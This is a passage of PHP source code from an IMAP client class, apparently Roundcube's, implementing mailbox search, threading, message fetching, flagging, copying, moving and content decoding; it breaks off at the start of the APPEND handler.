    public function thread($mailbox, $algorithm = 'REFERENCES', $criteria = '', $return_uid = false, $encoding = 'US-ASCII')
    {
        $old_sel = $this->selected;

        if (!$this->select($mailbox)) {
            return new rcube_result_thread($mailbox);
        }

        // return empty result when folder is empty and we're just after SELECT
        if ($old_sel != $mailbox && !$this->data['EXISTS']) {
            return new rcube_result_thread($mailbox, '* THREAD');
        }

        $encoding  = $encoding ? trim($encoding) : 'US-ASCII';
        $algorithm = $algorithm ? trim($algorithm) : 'REFERENCES';
        $criteria  = $criteria ? 'ALL '.trim($criteria) : 'ALL';

        list($code, $response) = $this->execute($return_uid ? 'UID THREAD' : 'THREAD',
            [$algorithm, $encoding, $criteria]);

        if ($code != self::ERROR_OK) {
            $response = null;
        }

        return new rcube_result_thread($mailbox, $response);
    }

    /**
     * Executes SEARCH command
     *
     * @param string $mailbox    Mailbox name
     * @param string $criteria   Searching criteria
     * @param bool   $return_uid Enable UID in result instead of sequence ID
     * @param array  $items      Return items (MIN, MAX, COUNT, ALL)
     *
     * @return rcube_result_index Result data
     */
    public function search($mailbox, $criteria, $return_uid = false, $items = [])
    {
        $old_sel = $this->selected;

        if (!$this->select($mailbox)) {
            return new rcube_result_index($mailbox);
        }

        // return empty result when folder is empty and we're just after SELECT
        if ($old_sel != $mailbox && !$this->data['EXISTS']) {
            return new rcube_result_index($mailbox, '* SEARCH');
        }

        // If ESEARCH is supported always use ALL
        // but not when items are specified or using simple id2uid search
        if (empty($items) && preg_match('/[^0-9]/', $criteria)) {
            $items = ['ALL'];
        }

        $esearch  = empty($items) ? false : $this->getCapability('ESEARCH');
        $criteria = trim($criteria);
        $params   = '';

        // RFC4731: ESEARCH
        if (!empty($items) && $esearch) {
            $params .= 'RETURN (' . implode(' ', $items) . ')';
        }

        if (!empty($criteria)) {
            $params .= ($params ? ' ' : '') . $criteria;
        }
        else {
            $params .= 'ALL';
        }

        list($code, $response) = $this->execute($return_uid ? 'UID SEARCH' : 'SEARCH', [$params]);

        if ($code != self::ERROR_OK) {
            $response = null;
        }

        return new rcube_result_index($mailbox, $response);
    }

    /**
     * Simulates SORT command by using FETCH and sorting.
     *
     * @param string       $mailbox      Mailbox name
     * @param string|array $message_set  Searching criteria (list of messages to return)
     * @param string       $index_field  Field to sort by (ARRIVAL, CC, DATE, FROM, SIZE, SUBJECT, TO)
     * @param bool         $skip_deleted Makes that DELETED messages will be skipped
     * @param bool         $uidfetch     Enables UID FETCH usage
     * @param bool         $return_uid   Enables returning UIDs instead of IDs
     *
     * @return rcube_result_index Response data
     */
    public function index($mailbox, $message_set, $index_field = '', $skip_deleted = true,
        $uidfetch = false, $return_uid = false)
    {
        $msg_index = $this->fetchHeaderIndex($mailbox, $message_set,
            $index_field, $skip_deleted, $uidfetch, $return_uid);

        if (!empty($msg_index)) {
            asort($msg_index); // ASC
            $msg_index = array_keys($msg_index);
            $msg_index = '* SEARCH ' . implode(' ', $msg_index);
        }
        else {
            $msg_index = is_array($msg_index) ? '* SEARCH' : null;
        }

        return new rcube_result_index($mailbox, $msg_index);
    }

    /**
     * Fetches specified header/data value for a set of messages.
     *
     * @param string       $mailbox      Mailbox name
     * @param string|array $message_set  Searching criteria (list of messages to return)
     * @param string       $index_field  Field to sort by (ARRIVAL, CC, DATE, FROM, SIZE, SUBJECT, TO)
     * @param bool         $skip_deleted Makes that DELETED messages will be skipped
     * @param bool         $uidfetch     Enables UID FETCH usage
     * @param bool         $return_uid   Enables returning UIDs instead of IDs
     *
     * @return array|bool List of header values or False on failure
     */
    public function fetchHeaderIndex($mailbox, $message_set, $index_field = '', $skip_deleted = true,
        $uidfetch = false, $return_uid = false)
    {
        // Validate input
        if (is_array($message_set)) {
            if (!($message_set = $this->compressMessageSet($message_set))) {
                return false;
            }
        }
        else if (empty($message_set)) {
            return false;
        }
        else if (strpos($message_set, ':')) {
            list($from_idx, $to_idx) = explode(':', $message_set);
            if ($to_idx != '*' && (int) $from_idx > (int) $to_idx) {
                return false;
            }
        }

        $index_field = empty($index_field) ? 'DATE' : strtoupper($index_field);

        $supported = [
            'DATE'         => 1,
            'INTERNALDATE' => 4,
            'ARRIVAL'      => 4,
            'FROM'         => 1,
            'REPLY-TO'     => 1,
            'SENDER'       => 1,
            'TO'           => 1,
            'CC'           => 1,
            'SUBJECT'      => 1,
            'UID'          => 2,
            'SIZE'         => 2,
            'SEEN'         => 3,
            'RECENT'       => 3,
            'DELETED'      => 3,
        ];

        if (empty($supported[$index_field])) {
            return false;
        }

        $mode = $supported[$index_field];

        //  Select the mailbox
        if (!$this->select($mailbox)) {
            return false;
        }

        // build FETCH command string
        $key    = $this->nextTag();
        $cmd    = $uidfetch ? 'UID FETCH' : 'FETCH';
        $fields = [];

        if ($return_uid) {
            $fields[] = 'UID';
        }
        if ($skip_deleted) {
            $fields[] = 'FLAGS';
        }

        if ($mode == 1) {
            if ($index_field == 'DATE') {
                $fields[] = 'INTERNALDATE';
            }
            $fields[] = "BODY.PEEK[HEADER.FIELDS ($index_field)]";
        }
        else if ($mode == 2) {
            if ($index_field == 'SIZE') {
                $fields[] = 'RFC822.SIZE';
            }
            else if (!$return_uid || $index_field != 'UID') {
                $fields[] = $index_field;
            }
        }
        else if ($mode == 3 && !$skip_deleted) {
            $fields[] = 'FLAGS';
        }
        else if ($mode == 4) {
            $fields[] = 'INTERNALDATE';
        }

        $request = "$key $cmd $message_set (" . implode(' ', $fields) . ")";

        if (!$this->putLine($request)) {
            $this->setError(self::ERROR_COMMAND, "Failed to send $cmd command");
            return false;
        }

        $result = [];

        do {
            $line = rtrim($this->readLine(200));
            $line = $this->multLine($line);

            if (preg_match('/^\* ([0-9]+) FETCH/', $line, $m)) {
                $id     = $m[1];
                $flags  = null;

                if ($return_uid) {
                    if (preg_match('/UID ([0-9]+)/', $line, $matches)) {
                        $id = (int) $matches[1];
                    }
                    else {
                        continue;
                    }
                }

                if ($skip_deleted && preg_match('/FLAGS \(([^)]+)\)/', $line, $matches)) {
                    $flags = explode(' ', strtoupper($matches[1]));
                    if (in_array('\\DELETED', $flags)) {
                        continue;
                    }
                }

                if ($mode == 1 && $index_field == 'DATE') {
                    if (preg_match('/BODY\[HEADER\.FIELDS \("*DATE"*\)\] (.*)/', $line, $matches)) {
                        $value = preg_replace(['/^"*[a-z]+:/i'], '', $matches[1]);
                        $value = trim($value);
                        $result[$id] = rcube_utils::strtotime($value);
                    }
                    // non-existent/empty Date: header, use INTERNALDATE
                    if (empty($result[$id])) {
                        if (preg_match('/INTERNALDATE "([^"]+)"/', $line, $matches)) {
                            $result[$id] = rcube_utils::strtotime($matches[1]);
                        }
                        else {
                            $result[$id] = 0;
                        }
                    }
                }
                else if ($mode == 1) {
                    if (preg_match('/BODY\[HEADER\.FIELDS \("?(FROM|REPLY-TO|SENDER|TO|SUBJECT)"?\)\] (.*)/', $line, $matches)) {
                        $value = preg_replace(['/^"*[a-z]+:/i', '/\s+$/sm'], ['', ''], $matches[2]);
                        $result[$id] = trim($value);
                    }
                    else {
                        $result[$id] = '';
                    }
                }
                else if ($mode == 2) {
                    if (preg_match('/' . $index_field . ' ([0-9]+)/', $line, $matches)) {
                        $result[$id] = trim($matches[1]);
                    }
                    else {
                        $result[$id] = 0;
                    }
                }
                else if ($mode == 3) {
                    if (!$flags && preg_match('/FLAGS \(([^)]+)\)/', $line, $matches)) {
                        $flags = explode(' ', $matches[1]);
                    }
                    $result[$id] = in_array("\\".$index_field, (array) $flags) ? 1 : 0;
                }
                else if ($mode == 4) {
                    if (preg_match('/INTERNALDATE "([^"]+)"/', $line, $matches)) {
                        $result[$id] = rcube_utils::strtotime($matches[1]);
                    }
                    else {
                        $result[$id] = 0;
                    }
                }
            }
        }
        while (!$this->startsWith($line, $key, true, true));

        return $result;
    }

    /**
     * Returns message sequence identifier
     *
     * @param string $mailbox Mailbox name
     * @param int    $uid     Message unique identifier (UID)
     *
     * @return int Message sequence identifier
     */
    public function UID2ID($mailbox, $uid)
    {
        if ($uid > 0) {
            $index = $this->search($mailbox, "UID $uid");

            if ($index->count() == 1) {
                $arr = $index->get();
                return (int) $arr[0];
            }
        }
    }

    /**
     * Returns message unique identifier (UID)
     *
     * @param string $mailbox Mailbox name
     * @param int    $id      Message sequence identifier
     *
     * @return int Message unique identifier
     */
    public function ID2UID($mailbox, $id)
    {
        if (empty($id) || $id < 0) {
            return null;
        }

        if (!$this->select($mailbox)) {
            return null;
        }

        if (!empty($this->data['UID-MAP'][$id])) {
            return $this->data['UID-MAP'][$id];
        }

        if (isset($this->data['EXISTS']) && $id > $this->data['EXISTS']) {
            return null;
        }

        $index = $this->search($mailbox, $id, true);

        if ($index->count() == 1) {
            $arr = $index->get();
            return $this->data['UID-MAP'][$id] = (int) $arr[0];
        }
    }

    /**
     * Sets flag of the message(s)
     *
     * @param string       $mailbox  Mailbox name
     * @param string|array $messages Message UID(s)
     * @param string       $flag     Flag name
     *
     * @return bool True on success, False on failure
     */
    public function flag($mailbox, $messages, $flag)
    {
        return $this->modFlag($mailbox, $messages, $flag, '+');
    }

    /**
     * Unsets flag of the message(s)
     *
     * @param string       $mailbox  Mailbox name
     * @param string|array $messages Message UID(s)
     * @param string       $flag     Flag name
     *
     * @return bool True on success, False on failure
     */
    public function unflag($mailbox, $messages, $flag)
    {
        return $this->modFlag($mailbox, $messages, $flag, '-');
    }

    /**
     * Changes flag of the message(s)
     *
     * @param string       $mailbox  Mailbox name
     * @param string|array $messages Message UID(s)
     * @param string       $flag     Flag name
     * @param string       $mod      Modifier [+|-]. Default: "+".
     *
     * @return bool True on success, False on failure
     */
    protected function modFlag($mailbox, $messages, $flag, $mod = '+')
    {
        if (!$flag) {
            return false;
        }

        if (!$this->select($mailbox)) {
            return false;
        }

        if (empty($this->data['READ-WRITE'])) {
            $this->setError(self::ERROR_READONLY, "Mailbox is read-only");
            return false;
        }

        if (!empty($this->flags[strtoupper($flag)])) {
            $flag = $this->flags[strtoupper($flag)];
        }

        // if PERMANENTFLAGS is not specified all flags are allowed
        if (!empty($this->data['PERMANENTFLAGS'])
            && !in_array($flag, (array) $this->data['PERMANENTFLAGS'])
            && !in_array('\\*', (array) $this->data['PERMANENTFLAGS'])
        ) {
            return false;
        }

        // Clear internal status cache
        if ($flag == 'SEEN') {
            unset($this->data['STATUS:'.$mailbox]['UNSEEN']);
        }

        if ($mod != '+' && $mod != '-') {
            $mod = '+';
        }

        $result = $this->execute('UID STORE',
            [$this->compressMessageSet($messages), $mod . 'FLAGS.SILENT', "($flag)"],
            self::COMMAND_NORESPONSE
        );

        return $result == self::ERROR_OK;
    }

    /**
     * Copies message(s) from one folder to another
     *
     * @param string|array $messages Message UID(s)
     * @param string       $from     Mailbox name
     * @param string       $to       Destination mailbox name
     *
     * @return bool True on success, False on failure
     */
    public function copy($messages, $from, $to)
    {
        // Clear last COPYUID data
        unset($this->data['COPYUID']);

        if (!$this->select($from)) {
            return false;
        }

        // Clear internal status cache
        unset($this->data['STATUS:'.$to]);

        $result = $this->execute('UID COPY',
            [$this->compressMessageSet($messages), $this->escape($to)],
            self::COMMAND_NORESPONSE
        );

        return $result == self::ERROR_OK;
    }

    /**
     * Moves message(s) from one folder to another.
     *
     * @param string|array $messages Message UID(s)
     * @param string       $from     Mailbox name
     * @param string       $to       Destination mailbox name
     *
     * @return bool True on success, False on failure
     */
    public function move($messages, $from, $to)
    {
        if (!$this->select($from)) {
            return false;
        }

        if (empty($this->data['READ-WRITE'])) {
            $this->setError(self::ERROR_READONLY, "Mailbox is read-only");
            return false;
        }

        // use MOVE command (RFC 6851)
        if ($this->hasCapability('MOVE')) {
            // Clear last COPYUID data
            unset($this->data['COPYUID']);

            // Clear internal status cache
            unset($this->data['STATUS:'.$to]);
            $this->clear_status_cache($from);

            $result = $this->execute('UID MOVE',
                [$this->compressMessageSet($messages), $this->escape($to)],
                self::COMMAND_NORESPONSE
            );

            return $result == self::ERROR_OK;
        }

        // use COPY + STORE +FLAGS.SILENT \Deleted + EXPUNGE
        $result = $this->copy($messages, $from, $to);

        if ($result) {
            // Clear internal status cache
            unset($this->data['STATUS:'.$from]);

            $result = $this->flag($from, $messages, 'DELETED');

            if ($messages == '*') {
                // CLOSE+SELECT should be faster than EXPUNGE
                $this->close();
            }
            else {
                $this->expunge($from, $messages);
            }
        }

        return $result;
    }

    /**
     * FETCH command (RFC3501)
     *
     * @param string $mailbox     Mailbox name
     * @param mixed  $message_set Message(s) sequence identifier(s) or UID(s)
     * @param bool   $is_uid      True if $message_set contains UIDs
     * @param array  $query_items FETCH command data items
     * @param string $mod_seq     Modification sequence for CHANGEDSINCE (RFC4551) query
     * @param bool   $vanished    Enables VANISHED parameter (RFC5162) for CHANGEDSINCE query
     *
     * @return array List of rcube_message_header elements, False on error
     * @since 0.6
     */
    public function fetch($mailbox, $message_set, $is_uid = false, $query_items = [],
        $mod_seq = null, $vanished = false)
    {
        if (!$this->select($mailbox)) {
            return false;
        }

        $message_set = $this->compressMessageSet($message_set);
        $result      = [];

        $key      = $this->nextTag();
        $cmd      = ($is_uid ? 'UID ' : '') . 'FETCH';
        $request  = "$key $cmd $message_set (" . implode(' ', $query_items) . ")";

        if ($mod_seq !== null && $this->hasCapability('CONDSTORE')) {
            $request .= " (CHANGEDSINCE $mod_seq" . ($vanished ? " VANISHED" : '') .")";
        }

        if (!$this->putLine($request)) {
            $this->setError(self::ERROR_COMMAND, "Failed to send $cmd command");
            return false;
        }

        do {
            $line = $this->readFullLine(4096);

            if (!$line) {
                break;
            }

            // Sample reply line:
            // * 321 FETCH (UID 2417 RFC822.SIZE 2730 FLAGS (\Seen)
            // INTERNALDATE "16-Nov-2008 21:08:46 +0100" BODYSTRUCTURE (...)
            // BODY[HEADER.FIELDS ...

            if (preg_match('/^\* ([0-9]+) FETCH/', $line, $m)) {
                $id = intval($m[1]);

                $result[$id]            = new rcube_message_header;
                $result[$id]->id        = $id;
                $result[$id]->subject   = '';
                $result[$id]->messageID = 'mid:' . $id;

                $headers = null;
                $line    = substr($line, strlen($m[0]) + 2);

                // Tokenize response and assign to object properties
                while (($tokens = $this->tokenizeResponse($line, 2)) && count($tokens) == 2) {
                    list($name, $value) = $tokens;
                    if ($name == 'UID') {
                        $result[$id]->uid = intval($value);
                    }
                    else if ($name == 'RFC822.SIZE') {
                        $result[$id]->size = intval($value);
                    }
                    else if ($name == 'RFC822.TEXT') {
                        $result[$id]->body = $value;
                    }
                    else if ($name == 'INTERNALDATE') {
                        $result[$id]->internaldate = $value;
                        $result[$id]->date         = $value;
                        $result[$id]->timestamp    = rcube_utils::strtotime($value);
                    }
                    else if ($name == 'FLAGS') {
                        if (!empty($value)) {
                            foreach ((array)$value as $flag) {
                                $flag = str_replace(['$', "\\"], '', $flag);
                                $flag = strtoupper($flag);

                                $result[$id]->flags[$flag] = true;
                            }
                        }
                    }
                    else if ($name == 'MODSEQ') {
                        $result[$id]->modseq = $value[0];
                    }
                    else if ($name == 'ENVELOPE') {
                        $result[$id]->envelope = $value;
                    }
                    else if ($name == 'BODYSTRUCTURE' || ($name == 'BODY' && count($value) > 2)) {
                        if (!is_array($value[0]) && (strtolower($value[0]) == 'message' && strtolower($value[1]) == 'rfc822')) {
                            $value = [$value];
                        }
                        $result[$id]->bodystructure = $value;
                    }
                    else if ($name == 'RFC822') {
                        $result[$id]->body = $value;
                    }
                    else if (stripos($name, 'BODY[') === 0) {
                        $name = str_replace(']', '', substr($name, 5));

                        if ($name == 'HEADER.FIELDS') {
                            // skip ']' after headers list
                            $this->tokenizeResponse($line, 1);
                            $headers = $this->tokenizeResponse($line, 1);
                        }
                        else if (strlen($name)) {
                            $result[$id]->bodypart[$name] = $value;
                        }
                        else {
                            $result[$id]->body = $value;
                        }
                    }
                }

                // create array with header field:data
                if (!empty($headers)) {
                    $headers = explode("\n", trim($headers));
                    $lines   = [];
                    $ln      = 0;

                    foreach ($headers as $resln) {
                        if (!isset($resln[0]) || ord($resln[0]) <= 32) {
                            $lines[$ln] = ($lines[$ln] ?? '') . (empty($lines[$ln]) ? '' : "\n") . trim($resln);
                        }
                        else {
                            $lines[++$ln] = trim($resln);
                        }
                    }

                    foreach ($lines as $str) {
                        if (strpos($str, ':') === false) {
                            continue;
                        }

                        list($field, $string) = explode(':', $str, 2);

                        $field  = strtolower($field);
                        $string = preg_replace('/\n[\t\s]*/', ' ', trim($string));

                        switch ($field) {
                        case 'date';
                            $string                 = substr($string, 0, 128);
                            $result[$id]->date      = $string;
                            $result[$id]->timestamp = rcube_utils::strtotime($string);
                            break;
                        case 'to':
                            $result[$id]->to = preg_replace('/undisclosed-recipients:[;,]*/', '', $string);
                            break;
                        case 'from':
                        case 'subject':
                            $string = substr($string, 0, 2048);
                        case 'cc':
                        case 'bcc':
                        case 'references':
                            $result[$id]->{$field} = $string;
                            break;
                        case 'reply-to':
                            $result[$id]->replyto = $string;
                            break;
                        case 'content-transfer-encoding':
                            $result[$id]->encoding = substr($string, 0, 32);
                        break;
                        case 'content-type':
                            $ctype_parts = preg_split('/[; ]+/', $string);
                            $result[$id]->ctype = strtolower(array_first($ctype_parts));
                            if (preg_match('/charset\s*=\s*"?([a-z0-9\-\.\_]+)"?/i', $string, $regs)) {
                                $result[$id]->charset = $regs[1];
                            }
                            break;
                        case 'in-reply-to':
                            $result[$id]->in_reply_to = str_replace(["\n", '<', '>'], '', $string);
                            break;
                        case 'disposition-notification-to':
                        case 'x-confirm-reading-to':
                            $result[$id]->mdn_to = substr($string, 0, 2048);
                            break;
                        case 'message-id':
                            $result[$id]->messageID = substr($string, 0, 2048);
                            break;
                        case 'x-priority':
                            if (preg_match('/^(\d+)/', $string, $matches)) {
                                $result[$id]->priority = intval($matches[1]);
                            }
                            break;
                        default:
                            if (strlen($field) < 3) {
                                break;
                            }
                            if (!empty($result[$id]->others[$field])) {
                                $string = array_merge((array) $result[$id]->others[$field], (array) $string);
                            }
                            $result[$id]->others[$field] = $string;
                        }
                    }
                }
            }
            // VANISHED response (QRESYNC RFC5162)
            // Sample: * VANISHED (EARLIER) 300:310,405,411
            else if (preg_match('/^\* VANISHED [()EARLIER]*/i', $line, $match)) {
                $line   = substr($line, strlen($match[0]));
                $v_data = $this->tokenizeResponse($line, 1);

                $this->data['VANISHED'] = $v_data;
            }
        }
        while (!$this->startsWith($line, $key, true));

        return $result;
    }

    /**
     * Returns message(s) data (flags, headers, etc.)
     *
     * @param string $mailbox     Mailbox name
     * @param mixed  $message_set Message(s) sequence identifier(s) or UID(s)
     * @param bool   $is_uid      True if $message_set contains UIDs
     * @param bool   $bodystr     Enable to add BODYSTRUCTURE data to the result
     * @param array  $add_headers List of additional headers
     *
     * @return bool|array List of rcube_message_header elements, False on error
     */
    public function fetchHeaders($mailbox, $message_set, $is_uid = false, $bodystr = false, $add_headers = [])
    {
        $query_items = ['UID', 'RFC822.SIZE', 'FLAGS', 'INTERNALDATE'];
        $headers     = ['DATE', 'FROM', 'TO', 'SUBJECT', 'CONTENT-TYPE', 'CC', 'REPLY-TO',
            'LIST-POST', 'DISPOSITION-NOTIFICATION-TO', 'X-PRIORITY'];

        if (!empty($add_headers)) {
            $add_headers = array_map('strtoupper', $add_headers);
            $headers     = array_unique(array_merge($headers, $add_headers));
        }

        if ($bodystr) {
            $query_items[] = 'BODYSTRUCTURE';
        }

        $query_items[] = 'BODY.PEEK[HEADER.FIELDS (' . implode(' ', $headers) . ')]';

        return $this->fetch($mailbox, $message_set, $is_uid, $query_items);
    }

    /**
     * Returns message data (flags, headers, etc.)
     *
     * @param string $mailbox     Mailbox name
     * @param int    $id          Message sequence identifier or UID
     * @param bool   $is_uid      True if $id is an UID
     * @param bool   $bodystr     Enable to add BODYSTRUCTURE data to the result
     * @param array  $add_headers List of additional headers
     *
     * @return bool|rcube_message_header Message data, False on error
     */
    public function fetchHeader($mailbox, $id, $is_uid = false, $bodystr = false, $add_headers = [])
    {
        $a = $this->fetchHeaders($mailbox, $id, $is_uid, $bodystr, $add_headers);

        if (is_array($a)) {
            return array_first($a);
        }

        return false;
    }

    /**
     * Sort messages by specified header field
     *
     * @param array  $messages Array of rcube_message_header objects
     * @param string $field    Name of the property to sort by
     * @param string $order    Sorting order (ASC|DESC)
     *
     * @return array Sorted input array
     */
    public static function sortHeaders($messages, $field, $order = 'ASC')
    {
        $field = empty($field) ? 'uid' : strtolower($field);
        $order = empty($order) ? 'ASC' : strtoupper($order);
        $index = [];

        reset($messages);

        // Create an index
        foreach ($messages as $key => $headers) {
            switch ($field) {
            case 'arrival':
                $field = 'internaldate';
                // no-break
            case 'date':
            case 'internaldate':
            case 'timestamp':
                $value = rcube_utils::strtotime($headers->$field);
                if (!$value && $field != 'timestamp') {
                    $value = $headers->timestamp;
                }

                break;

            default:
                // @TODO: decode header value, convert to UTF-8
                $value = $headers->$field;
                if (is_string($value)) {
                    $value = str_replace('"', '', $value);

                    if ($field == 'subject') {
                        $value = rcube_utils::remove_subject_prefix($value);
                    }
                }
            }

            $index[$key] = $value;
        }

        $sort_order = $order == 'ASC' ? SORT_ASC : SORT_DESC;
        $sort_flags = SORT_STRING | SORT_FLAG_CASE;

        if (in_array($field, ['arrival', 'date', 'internaldate', 'timestamp', 'size', 'uid', 'id'])) {
            $sort_flags = SORT_NUMERIC;
        }

        array_multisort($index, $sort_order, $sort_flags, $messages);

        return $messages;
    }

    /**
     * Fetch MIME headers of specified message parts
     *
     * @param string $mailbox Mailbox name
     * @param int    $uid     Message UID
     * @param array  $parts   Message part identifiers
     * @param bool   $mime    Use MIME instead of HEADER
     *
     * @return array|bool Array containing headers string for each specified body
     *                    False on failure.
     */
    public function fetchMIMEHeaders($mailbox, $uid, $parts, $mime = true)
    {
        if (!$this->select($mailbox)) {
            return false;
        }

        $parts  = (array) $parts;
        $key    = $this->nextTag();
        $peeks  = [];
        $type   = $mime ? 'MIME' : 'HEADER';

        // format request
        foreach ($parts as $part) {
            $peeks[] = "BODY.PEEK[$part.$type]";
        }

        $request = "$key UID FETCH $uid (" . implode(' ', $peeks) . ')';

        // send request
        if (!$this->putLine($request)) {
            $this->setError(self::ERROR_COMMAND, "Failed to send UID FETCH command");
            return false;
        }

        $result = [];

        do {
            $line = $this->readLine(1024);
            if (preg_match('/^\* [0-9]+ FETCH [0-9UID( ]+/', $line, $m)) {
                $line = ltrim(substr($line, strlen($m[0])));
                while (preg_match('/^\s*BODY\[([0-9\.]+)\.'.$type.'\]/', $line, $matches)) {
                    $line = substr($line, strlen($matches[0]));
                    $result[$matches[1]] = trim($this->multLine($line));
                    $line = $this->readLine(1024);
                }
            }
        }
        while (!$this->startsWith($line, $key, true));

        return $result;
    }

    /**
     * Fetches message part header
     */
    public function fetchPartHeader($mailbox, $id, $is_uid = false, $part = null)
    {
        $part = empty($part) ? 'HEADER' : $part.'.MIME';

        return $this->handlePartBody($mailbox, $id, $is_uid, $part);
    }

    /**
     * Fetches body of the specified message part
     */
    public function handlePartBody($mailbox, $id, $is_uid = false, $part = '', $encoding = null, $print = null,
        $file = null, $formatted = false, $max_bytes = 0)
    {
        if (!$this->select($mailbox)) {
            return false;
        }

        $binary    = true;
        $initiated = false;

        do {
            if (!$initiated) {
                switch ($encoding) {
                case 'base64':
                    $mode = 1;
                    break;
                case 'quoted-printable':
                    $mode = 2;
                    break;
                case 'x-uuencode':
                case 'x-uue':
                case 'uue':
                case 'uuencode':
                    $mode = 3;
                    break;
                default:
                    $mode = $formatted ? 4 : 0;
                }

                // Use BINARY extension when possible (and safe)
                $binary     = $binary && $mode && preg_match('/^[0-9.]+$/', (string) $part) && $this->hasCapability('BINARY');
                $fetch_mode = $binary ? 'BINARY' : 'BODY';
                $partial    = $max_bytes ? sprintf('<0.%d>', $max_bytes) : '';

                // format request
                $key       = $this->nextTag();
                $cmd       = ($is_uid ? 'UID ' : '') . 'FETCH';
                $request   = "$key $cmd $id ($fetch_mode.PEEK[$part]$partial)";
                $result    = false;
                $found     = false;
                $initiated = true;

                // send request
                if (!$this->putLine($request)) {
                    $this->setError(self::ERROR_COMMAND, "Failed to send $cmd command");
                    return false;
                }

                if ($binary) {
                    // WARNING: Use $formatted argument with care, this may break binary data stream
                    $mode = -1;
                }
            }

            $line = trim($this->readLine(1024));

            if (!$line) {
                break;
            }

            // handle UNKNOWN-CTE response - RFC 3516, try again with standard BODY request
            if ($binary && !$found && preg_match('/^' . $key . ' NO \[(UNKNOWN-CTE|PARSE)\]/i', $line)) {
                $binary = $initiated = false;
                continue;
            }

            // skip irrelevant untagged responses (we have a result already)
            if ($found || !preg_match('/^\* ([0-9]+) FETCH (.*)$/', $line, $m)) {
                continue;
            }

            $line = $m[2];

            // handle one line response
            if ($line[0] == '(' && substr($line, -1) == ')') {
                // tokenize content inside brackets
                // the content can be e.g.: (UID 9844 BODY[2.4] NIL)
                $line = preg_replace('/(^\(|\)$)/', '', $line);
                $tokens = $this->tokenizeResponse($line);

                for ($i=0; $i<count($tokens); $i+=2) {
                    if (preg_match('/^(BODY|BINARY)/i', $tokens[$i])) {
                        $result = $tokens[$i+1];
                        $found  = true;
                        break;
                    }
                }

                // Cyrus IMAP does not return a NO-response on error, but we can detect it
                // and fallback to a non-binary fetch (#9097)
                if ($binary && !$found) {
                    $binary = $initiated = false;
                    $line = trim($this->readLine(1024)); // the OK response line
                    continue;
                }

                if ($result !== false) {
                    $result = $this->decodeContent($result, $mode, true);
                }
            }
            // response with string literal
            else if (preg_match('/\{([0-9]+)\}$/', $line, $m)) {
                $bytes = (int) $m[1];
                $prev  = '';
                $found = true;
                $chunkSize = 1024 * 1024;

                // empty body
                if (!$bytes) {
                    $result = '';
                }
                // An optimal path for a case when we need the body as-is in a string
                else if (!$mode && !$file && !$print) {
                    $result = $this->readBytes($bytes);
                }
                else while ($bytes > 0) {
                    $chunk = $this->readBytes($bytes > $chunkSize ? $chunkSize : $bytes);

                    if ($chunk === '') {
                        break;
                    }

                    $len = strlen($chunk);

                    if ($len > $bytes) {
                        $chunk = substr($chunk, 0, $bytes);
                        $len = strlen($chunk);
                    }
                    $bytes -= $len;

                    $chunk = $this->decodeContent($chunk, $mode, $bytes <= 0, $prev);

                    if ($file) {
                        if (fwrite($file, $chunk) === false) {
                            break;
                        }
                    }
                    else if ($print) {
                        echo $chunk;
                    }
                    else {
                        $result .= $chunk;
                    }
                }
            }
        }
        while (!$this->startsWith($line, $key, true) || !$initiated);

        if ($result !== false) {
            if ($file) {
                return fwrite($file, $result);
            }
            else if ($print) {
                echo $result;
                return true;
            }

            return $result;
        }

        return false;
    }

    /**
     * Decodes a chunk of a message part content from a FETCH response.
     *
     * @param string $chunk   Content
     * @param int    $mode    Encoding mode
     * @param bool   $is_last Whether it is a last chunk of data
     * @param string $prev    Extra content from the previous chunk
     *
     * @return string Encoded string
     */
    protected static function decodeContent($chunk, $mode, $is_last = false, &$prev = '')
    {
        // BASE64
        if ($mode == 1) {
            $chunk = $prev . preg_replace('|[^a-zA-Z0-9+=/]|', '', $chunk);

            // create chunks with proper length for base64 decoding
            $length = strlen($chunk);

            if ($length % 4) {
                $length = floor($length / 4) * 4;
                $prev = substr($chunk, $length);
                $chunk = substr($chunk, 0, $length);
            }
            else {
                $prev = '';
            }

            return base64_decode($chunk);
        }

        // QUOTED-PRINTABLE
        if ($mode == 2) {
            if (!self::decodeContentChunk($chunk, $prev, $is_last)) {
                return '';
            }

            $chunk = preg_replace('/[\t\r\0\x0B]+\n/', "\n", $chunk);

            return quoted_printable_decode($chunk);
        }

        // X-UUENCODE
        if ($mode == 3) {
            if (!self::decodeContentChunk($chunk, $prev, $is_last)) {
                return '';
            }

            $chunk = preg_replace(
                ['/\r?\n/', '/(^|\n)end$/', '/^begin\s+[0-7]{3,4}\s+[^\n]+\n/'],
                ["\n", '', ''],
                $chunk
            );

            if (!strlen($chunk)) {
                return '';
            }

            return convert_uudecode($chunk);
        }

        // Plain text formatted
        // TODO: Formatting should be handled outside of this class
        if ($mode == 4) {
            if (!self::decodeContentChunk($chunk, $prev, $is_last)) {
                return '';
            }

            if ($is_last) {
                $chunk = rtrim($chunk, "\t\r\n\0\x0B");
            }

            return preg_replace('/[\t\r\0\x0B]+\n/', "\n", $chunk);
        }

        return $chunk;
    }

    /**
     * A helper for a new-line aware parsing. See self::decodeContent().
     */
    private static function decodeContentChunk(&$chunk, &$prev, $is_last)
    {
        $chunk = $prev . $chunk;
        $prev = '';

        if (!$is_last) {
            if (($pos = strrpos($chunk, "\n")) !== false) {
                $prev = substr($chunk, $pos + 1);
                $chunk = substr($chunk, 0, $pos + 1);
            } else {
                $prev = $chunk;
                return false;
            }
        }

        return true;
    }

    /**
     * Handler for IMAP APPEND command
     *
     * @param string       $mailbox Mailbox name
     * @param string|array $message The message source string or array (of strings and file pointers)
     * @param array        $flags   Message flags
     * @param string       $date    Message internal date
     * @param bool         $binary  Enable BINARY append (RFC3516)
     *
     * @return string|bool On success APPENDUID response (if available) or True, False on failure
     */
    public function append($mailbox, &$message, $flags = [], $date = null, $binary = false)
    {
        unset($this->data['APPENDUID']);

        if ($mailbox === null || $mailbox === '') {
            return false;
        }

        $binary       = $binary && $this->getCapability('BINARY');
        $literal_plus = !$binary && !empty($this->prefs['literal+']);
        $len          = 0;
        $msg          = is_array($message) ? $message : [&$message];
        $chunk_size   = 512000;

        for ($i=0, $cnt=count($msg); $i<$cnt; $i++) {
            if (is_resource($msg[$i])) {
                $stat = fstat($msg[$i]);
                if ($stat === false) {
                    return false;
                }
                $len += $stat['size'];
            }
            else {
                if (!$binary) {
                    $msg[$i] = str_replace("\r", '', $msg[$i]);
                    $msg[$i] = str_replace("\n", "\r\n", $msg[$i]);
                }

                $len += strlen($msg[$i]);
            }
        }

        if (!$len) {
            return false;
        }

        // build APPEND command
